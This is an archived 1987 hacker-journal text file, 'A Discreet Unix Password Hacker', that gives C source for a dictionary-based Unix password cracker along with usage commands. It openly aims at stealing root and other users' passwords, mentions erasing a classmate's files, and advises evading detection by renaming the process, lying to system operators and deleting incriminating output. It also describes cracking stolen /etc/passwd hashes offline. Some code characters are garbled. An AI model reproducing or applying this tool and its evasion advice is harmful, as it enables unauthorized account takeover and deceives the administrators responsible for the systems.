home *** CD-ROM | disk | FTP | other *** search
/ Mac OS 9 Serial Number Archive / SN Archive 2023.11.04.toast / Cracking Texts / Hackintosh Bible v1.4 / Hackintosh Bible v1.4.rsrc / TEXT_176.txt < prev    next >
Encoding:
Text File  |  1997-05-07  |  8.8 KB  |  217 lines
  1. The LOD/H Technical Journal: File #6 of 10
  2.  
  3. A Discreet Unix Password Hacker
  4. -------------------------------
  5.  
  6. By Shooting Shark / Tiburon Systems  4 Mar 87
  7.  
  8.      Imagine this familiar situation:  you have an account on a Unix system.
  9. Perhaps it's your account on your school's VAX, or an account you've hacked
  10. yourself.  You'd like to collect more passwords to this system - perhaps
  11. to the 'root' or 'bin' accounts so you can take control of the system, or the
  12. password of the class hotshot who's going to get an 'A' on his compiler
  13. project and upset the curve unless you go in and erase all of his files.
  14. The problem is getting these passwords.  The most obvious method would be to
  15. manually enter login/password combinations until you found one.  This is
  16. slow (>10 seconds per try), will give you sore fingers, and multiple
  17. invocations of the 'login' program may be noticed.  You could write a program
  18. on your micro to dial up the site (*if* it has a dialup) and try passwords
  19. from a login/password pool, but this is just as slow, ties up your computer
  20. and your phone line, and again is subject to easy detection.  The solution
  21. to this problem is to have the system itself hack passwords for you.
  22. It can do this unattended and at a considerable speed while you go about
  23. your life, and will be difficult to detect by system demigods.
  24.  
  25. Here is the C source for my program.  Upload it to your Unix site and
  26. compile it.
  27.  
  28. --- cut here ---
  29. /*
  30.  * hpw.c v1.4: 8 October '86
  31.  * Written by Shooting Shark / Tiburon Systems
  32.  *
  33.  */
  34.  
  35. #include
  36. #include
  37. #include
  38. #include
  39.  
  40. struct     passwd *pwd, *getpwname(name);
  41.  
  42. int   len, abort(), endpwent();
  43.  
  44. char  crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];
  45.  
  46. main(argc, argv)
  47. int argc;
  48. char *argv[];
  49. $
  50.  
  51. FILE *fopen(), *fp;
  52.  
  53. char *uname;
  54. signal(SIGINT,abort);
  55.  
  56. if (argc !=3) $
  57.      printf("usage : %s username pwfileXn",argv[0]);
  58.      exit(-1);
  59.      
  60.  
  61. if (!(pwd =getpwnam(argv[1]))) $
  62.      printf("unknown user : %sXn",argv[1]);
  63.      exit(-1);
  64.      
  65.  
  66. if ((fp = fopen(argv[2], "r")) == NULL) $
  67.      perror(argv[2]);
  68.      exit(-1);
  69.      
  70.  
  71. sprintf(crbuf,"%s",pwd->pw_passwd);
  72.  
  73. printf("hacking %sXn",argv[1]);
  74. printf("encrypted password : %sXn",crbuf);
  75.  
  76. while (fgets(pwbuf, 20, fp) != NULL) $
  77.      pwbuf[strlen(pwbuf)-1] = 'X0';
  78.      pw = crypt(pwbuf,crbuf);
  79.      if (!strcmp(pw,crbuf)) $
  80.      printf("%s ==> %sXn",argv[1],pwbuf);
  81.      exit(0);
  82.      
  83.      
  84. printf("done -- password not found.Xn");
  85.  
  86.      endpwent();
  87.  
  88.  
  89.  
  90. abort()
  91. $
  92. printf("aborted while trying '%s'Xn",pwbuf);
  93.  
  94. exit(-1);
  95.  
  96.  
  97. --- cut here ---
  98.  
  99. (Note - written on a Pyramid 90x running Berzerkeley Unix 4.2.  If you're
  100. running SysV or something else you may have problems.  You probably
  101. won't, but you might.)
  102.  
  103. Now that you have the above compiled into a file called 'hpw,' invoke
  104. it with
  105.  
  106. % hpw username pwfile
  107. ( % is the shell prompt; don't type it...)
  108.  
  109. where username is the login name of the user who's password you'd like
  110. to hack, and pwfile is the path of a text file that contains the pool of
  111. likely passwords.  Most sites will have a file of words for the 'spell'
  112. spelling checker - it will probably be /usr/dict/words and contain at least
  113. 15,000 potential passwords.
  114.  
  115. Hpw starts by loading the user's encrypted password from /etc/password and
  116. stores it in crbuf.  It then starts reading words from the file you've
  117. specified, encrypts them using the crypt() routine, and compares them to
  118. the encrypted password.  If they match, the program outputs a line like:
  119. 'shark ==> hispassword' and quits.  If they don't match, it goes on to the
  120. next potential password.  If the program goes through the entire list and
  121. doesn't find the correct password, it prints 'done -- password not found'
  122. and quits.  If you hit ^C (or BREAK, or whatever your interrupt character
  123. is) the program tells you which word in the file it had gotten to when
  124. it was interrupted and quits.  Then, the next time you attempt to hack that
  125. login name, you can start where you left off during the previous session.
  126.  
  127. The beauty of this program is that you can run it in background with the
  128. output sent to a file and then log off, or play rogue, or whatever.  To
  129. hack melody's password using /usr/dict/words as your pool file, and to
  130. have all messages generated by the program sent to a file called 'out.file'
  131. and run the program in background, you'd enter from csh:
  132.  
  133. % hpw melody /usr/dict/words > out.file &
  134.  
  135. the & signifies a background process.  The system will print something like:
  136. [1] 90125
  137. this means it's job number 1 for you, and has process id 90125.  To bring
  138. the program back into the foreground, enter:
  139.  
  140. % %1
  141.  
  142. and to kill the process, type
  143.  
  144. % kill 90125
  145.  
  146. if you have hpw running in background and you're in csh, you can just log off
  147. and the program will continue to silently gather passwords.  If you're under
  148. the sh shell, you'll need to run the program with 'nohup' (read the man
  149. entry for more info) or sh will kill the process when you log out.
  150.  
  151. Anyway, after you've given the program sufficient time to go through the
  152. list (more on this in a second), log in again.  If the output file exists,
  153. the program has completed its job.  Otherwise use 'ps' to see if the program
  154. is still running.  cat the file and you'll see something like this:
  155.  
  156. hacking melody
  157. encrypted password : K4h7iidD1vX0a
  158. melody ==> joshua (or 'done -- password not found')
  159.  
  160. make a note of melody's password, rm the incriminating output file, and
  161. move on to the next login name.  Easy, huh?
  162.  
  163. Now for the bad news:  The designers of Unix weren't stupid.  They
  164. deliberately designed the crypt() routine so that it's unique (it's a minor
  165. deviation of the DES, so you can't use a fast DES-busting program to attack
  166. the /etc/passwd file).  This program uses the fastest possible method of
  167. brute-force hacking Unix passwords, but it isn't too speedy itself.  I wrote
  168. the program on a Pyramid 90x, which is a 32-bit multi-processor
  169. RISC-architecture machine.  When running this program in foreground while I was
  170. the only user on the system, it averaged 2 seconds per try.  You can expect
  171. this performance on one of the better VAXen.  If you're on a Cray (sure...) it
  172. might take the program 1/8 second per hack.  If you're on an AT running XENIX
  173. or a PDP-11/44, expect 5 seconds per try.  (I really don't know how long it
  174. would take, why don't some people time it and give me feedback...I'd appreciate
  175. it.)
  176.  
  177. Realistically, if you're using the system's spelling-checker word list that
  178. contains 20,000 words and you're running the program in background, give
  179. it at least 12 hours.  If you have a system operator who likes to keep
  180. track of people's long-running jobs, tell them via mail that you'll be
  181. computing the limit of 1/x to infinity or something like that and they'll
  182. leave the process alone. If you have your own file of 100 probable passwords
  183. (such as 'joshua,' 'secret' or the person's name) it will take 10 minutes
  184. or so to complete.  Sensible selection of potential passwords (most UNIX
  185. systems don't allow passwords of less than 5 characters; attempt to change
  186. your password to progressively shorter and shorter words until you find out
  187. what your system's minimum length is) and running the program at strategic
  188. times (like after midnight) will cut the time down.
  189.  
  190. Hackers who know 'C' (and everybody should know C by now; it's the best
  191. language ever designed) will want to modify the program I've presented.
  192. You may want to 'hard code' the username to be hacked and the pwfile path;
  193. 'progname root word.file' on a process table might look a LITTLE suspicious
  194. to snoopy system operators (and it goes without saying that you shouldn't
  195. call the program 'hack' or 'hpw', nor leave the source unencrypted in your
  196. directory).  Also, since the crypt() routine is universal, you can hard-code
  197. the 'crbuf' variable with the encrypted password (from /etc/passwords)
  198. of a user on another system!  When hardcoding a password, make sure you spell
  199. it correctly, and that it contains exactly 13 characters of upper & lower case,
  200. and/or numbers. I once successfully hacked the root account of an AT&T Micro in
  201. Michigan on my local Pyramid 90x.  Thus I didn't need to take up space on the
  202. guy's file system with the source and didn't have to run the program on his
  203. slow system - once I obtained the 6300's /etc/passwd file from the person who
  204. hacked into the system, I attacked it at my local site.  If you happen to have
  205. a system of your own that runs Unix, you can hack any system's root account at
  206. home, completely risk-free.
  207.  
  208. Unix is the best operating system I've ever used.  It's immensely powerful;
  209. as demonstrated by the program above, it's easy to make the system work for
  210. you.  If you have any questions, comments, criticisms, threats, etc, get in
  211. touch with me - my primary goal is not to prove that I'm more of a Unix Wizard
  212. than the other guy, but rather to do my part in the ongoing crusade to make
  213. forbidden information available to the people who can use it.
  214. 'Knowledge is Power,' as the saying goes.
  215.  
  216. -- Shark.
  217.